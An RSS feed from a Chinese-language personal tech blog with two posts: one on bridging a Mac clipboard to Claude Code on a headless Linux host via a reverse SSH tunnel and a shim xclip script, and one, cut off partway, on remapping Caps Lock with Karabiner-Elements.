<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Veno's Blog</title><link>https://v3n0.com/post/</link><description>Recent content in Posts on Veno's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Sat, 26 Sep 2026 21:04:29 +0800</lastBuildDate><atom:link href="https://v3n0.com/post/index.xml" rel="self" type="application/rss+xml"/><item><title>在 SSH + tmux 里给 Claude Code 粘贴 Mac 剪贴板里的图片</title><link>https://v3n0.com/post/2026/claude-code-ssh-image-paste/</link><pubDate>Sat, 26 Sep 2026 21:04:29 +0800</pubDate><guid>https://v3n0.com/post/2026/claude-code-ssh-image-paste/</guid><description>&lt;p&gt;我的环境：MacBook 上 kitty → tmux → &lt;code&gt;ssh&lt;/code&gt; → Fedora homelab 上的 tmux → Claude Code。截图后按 Ctrl+V，什么都贴不进去。&lt;/p&gt;
&lt;h2 id="原因"&gt;原因
&lt;/h2&gt;&lt;p&gt;Claude Code 在 Linux 上贴图，是在它自己所在的机器上调用这些命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xclip -selection clipboard -t TARGETS -o &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;image/(png|jpeg|...)&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; wl-paste -l &lt;span class="p"&gt;|&lt;/span&gt; grep ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xclip -selection clipboard -t image/png -o &amp;gt; file &lt;span class="o"&gt;||&lt;/span&gt; wl-paste --type image/png &amp;gt; file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;它读的是远端机器的 X11/Wayland 剪贴板，而 homelab 是 headless 的。kitty、tmux、SSH 之间只传字节流，OSC 52 也只管文本，所以不管这几层怎么配都没用。能下手的地方只有这个 &lt;code&gt;xclip&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="思路"&gt;思路
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;每条 SSH 连接都把远端的 &lt;code&gt;127.0.0.1:47851&lt;/code&gt; 反向转发到 &lt;strong&gt;Mac 自己的 sshd&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;远端放一个假的 &lt;code&gt;xclip&lt;/code&gt;，通过这条隧道 &lt;code&gt;ssh&lt;/code&gt; 回 Mac，在 Mac 上执行 &lt;code&gt;pngpaste -&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;绕一圈走 sshd，而不是在 Mac 上开一个吐剪贴板的小服务，原因是远端有好几个账号，回环端口谁都能连。走 sshd 的话，只有 Mac 授权过的 key 能进来；再把 host key 钉死，别的账号就算抢先占了这个端口，也收不到这条连接。这样 Mac 上也不需要常驻任何进程。&lt;/p&gt;
&lt;p&gt;用 TCP 而不用 Unix socket 转发，是因为 socket 在连接断开后会留下残留文件，下次绑定会失败，除非服务端开了 &lt;code&gt;StreamLocalBindUnlink&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="mac-端"&gt;Mac 端
&lt;/h2&gt;&lt;p&gt;打开「远程登录」，把远端账号的公钥加进 &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;，再装上 &lt;code&gt;pngpaste&lt;/code&gt;（brew 或 nixpkgs 都有）。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;~/.ssh/config&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Host thinkpad thinkpad-local
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; RemoteForward 127.0.0.1:47851 localhost:22
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;同时开多条连接时，后连上的那条会报 &lt;code&gt;remote port forwarding failed&lt;/code&gt;。这不影响使用，先连上的那条仍在提供同一个剪贴板。&lt;/p&gt;
&lt;h2 id="远端"&gt;远端
&lt;/h2&gt;&lt;p&gt;单独准备一份 known_hosts，里面只放 Mac 的 host key：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ~/.config/clipbridge/known_hosts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[127.0.0.1]:47851 ssh-ed25519 AAAA...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;再放一个 &lt;code&gt;xclip&lt;/code&gt; 到 PATH 里，要排在真正的 xclip 前面（headless 机器上一般本来就没装），比如 &lt;code&gt;~/.local/bin/xclip&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/usr/bin/env bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;selection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;clipboard &lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -selection&lt;span class="p"&gt;|&lt;/span&gt;-sel&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;selection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;shift&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -t&lt;span class="p"&gt;|&lt;/span&gt;-target&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;shift&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o&lt;span class="p"&gt;|&lt;/span&gt;-out&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 只桥接&amp;#34;读 clipboard&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$selection&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; clipboard &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xclip: only &amp;#39;xclip -selection clipboard [-t ...] -o&amp;#39; is bridged to the Mac&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mac&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ssh -p &lt;span class="m"&gt;47851&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;BatchMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes -o &lt;span class="nv"&gt;ConnectTimeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;UserKnownHostsFile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.config/clipbridge/known_hosts&amp;#34;&lt;/span&gt; -o &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;ClearAllForwardings&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;ControlMaster&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auto -o &lt;span class="nv"&gt;ControlPersist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;60&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;ControlPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.cache/clipbridge-%C&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; you@127.0.0.1 &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ~ 由 Mac 那边的 shell 展开&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; TARGETS&lt;span class="o"&gt;)&lt;/span&gt; mac &lt;span class="s1"&gt;&amp;#39;~/.nix-profile/bin/pngpaste - &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; image/png &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; image/png&lt;span class="o"&gt;)&lt;/span&gt; mac &lt;span class="s1"&gt;&amp;#39;~/.nix-profile/bin/pngpaste -&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;text/plain&lt;span class="p"&gt;|&lt;/span&gt;UTF8_STRING&lt;span class="p"&gt;|&lt;/span&gt;STRING&lt;span class="o"&gt;)&lt;/span&gt; mac pbpaste &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;补充几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pngpaste&lt;/code&gt; 的路径要按你在 Mac 上的实际安装位置改：brew 装的是 &lt;code&gt;/opt/homebrew/bin/pngpaste&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;贴一次图会调用两次（先查 &lt;code&gt;TARGETS&lt;/code&gt;，再取 &lt;code&gt;image/png&lt;/code&gt;），&lt;code&gt;ControlMaster&lt;/code&gt; 让这两次复用同一条连接。&lt;/li&gt;
&lt;li&gt;剪贴板里没有图片时脚本返回非零，Claude Code 会自己退回到别的处理方式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配好后在 Mac 上重新 &lt;code&gt;ssh&lt;/code&gt; 一次，让转发生效。远端的 tmux 会话不受影响，重新 attach 就行。之后截图，在 Claude Code 里 Ctrl+V 即可。&lt;/p&gt;
&lt;p&gt;我实际是用 Home Manager 管这两边的，见 dotfiles 里的 &lt;a class="link" href="https://github.com/U1traVeno/dotfiles/blob/main/hosts/thinkpad-veno.nix" target="_blank" rel="noopener"
&gt;&lt;code&gt;hosts/thinkpad-veno.nix&lt;/code&gt;&lt;/a&gt; 和 &lt;a class="link" href="https://github.com/U1traVeno/dotfiles/blob/main/hosts/macbook-veno.nix" target="_blank" rel="noopener"
&gt;&lt;code&gt;hosts/macbook-veno.nix&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;</description></item><item><title>使用 Karabiner-Elements 在 macOS 修改 Capslock 长按短按触发信号</title><link>https://v3n0.com/post/2026/macos-capslock-karabiner-tap-hold/</link><pubDate>Fri, 25 Sep 2026 04:00:00 +0800</pubDate><guid>https://v3n0.com/post/2026/macos-capslock-karabiner-tap-hold/</guid><description>&lt;p&gt;macOS 用 Caps Lock 切中英（&lt;code&gt;ABC&lt;/code&gt; ↔ 双拼）有一两百毫秒延迟，快按还经常没反应，打字经常卡手&lt;/p&gt;
&lt;h2 id="根因"&gt;根因
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HID 层故意延迟&lt;/strong&gt;。Apple 开源的 &lt;code&gt;IOHIDKeyboardFilter.mm&lt;/code&gt;（IOHIDFamily）里 &lt;code&gt;#define kCapsLockDelayMS 75&lt;/code&gt;，&lt;code&gt;processCapsLockDelay&lt;/code&gt; 对&amp;quot;激活方向&amp;quot;的按下先扣住、开定时器（注释原文 &amp;ldquo;kill the down event&amp;rdquo;），快按则 down/up 整对丢弃。官方说法（HT201509，存档）：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;The Caps Lock function on these computers is designed to reduce accidental activation. You must press and hold down the key slightly longer to activate the caps lock function.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;实际生效门槛约 100ms（pqrs 的测量），这就是&amp;quot;按了没反应&amp;quot;的主因。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输入源切换是异步流水线&lt;/strong&gt;。HIToolbox/TSM → &lt;code&gt;TISSelectInputSource&lt;/code&gt; → 通知 → 各 App 的 input context；切进 &lt;code&gt;com.apple.inputmethod.SCIM&lt;/code&gt; 这类 IMK 输入法还要等 &lt;code&gt;imklaunchagent&lt;/code&gt; 建 &lt;code&gt;IMKInputSession&lt;/code&gt;，空闲后首次切换更慢。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="配置脚本"&gt;配置脚本
&lt;/h2&gt;&lt;p&gt;附上一个可以直接指导完成安装配置的脚本&lt;a class="link" href="https://github.com/U1traVeno/U1traVeno.github.io/blob/main/content/post/2026/macos-capslock-karabiner-tap-hold/wizard-karabiner-capslock.sh" target="_blank" rel="noopener"
&gt;&lt;code&gt;wizard-karabiner-capslock.sh&lt;/code&gt;&lt;/a&gt; 分阶段确认、每个操作先看清再执行、自动落时间戳过程日志。下面的步骤已经全部包含在脚本里。我使用 macOS Tahoe 26.6.2，其他版本未经测试。&lt;/p&gt;
&lt;h2 id="修复"&gt;修复
&lt;/h2&gt;&lt;p&gt;短按切输入法，长按是大写锁。使用 Karabiner-Elements，官方文档明确说解决了延迟问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Karabiner-Elements disables the caps lock delay without any action since v13.3.0.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="1-安装与授权"&gt;1. 安装与授权
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install --cask karabiner-elements
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;装完批准 DriverKit 系统扩展并授权。macOS Tahoe 的入口是「系统设置 → 登陆项与扩展 → 拓展 → 按类别 → 驱动程序扩展」（旧版在「通用 → 登录项与扩展」），再打开 Karabiner 的后台服务和辅助功能。用这个确认扩展真的批了——没批时状态是 &lt;code&gt;[activated waiting for user]&lt;/code&gt;，此时一切规则都无效：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemextensionsctl list &lt;span class="p"&gt;|&lt;/span&gt; grep pqrs &lt;span class="c1"&gt;# 期望 [activated enabled]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="2-规则短按--f18长按--caps-lock"&gt;2. 规则：短按 → F18，长按 → Caps Lock
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;~/.config/karabiner/assets/complex_modifications/capslock-tap-f18-hold-capslock.json&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Caps Lock: tap → F18 (switch input source), hold → Caps Lock&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;rules&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Caps Lock: tap → F18 (select next input source), hold (≥250ms) → Caps Lock toggle&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;manipulators&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
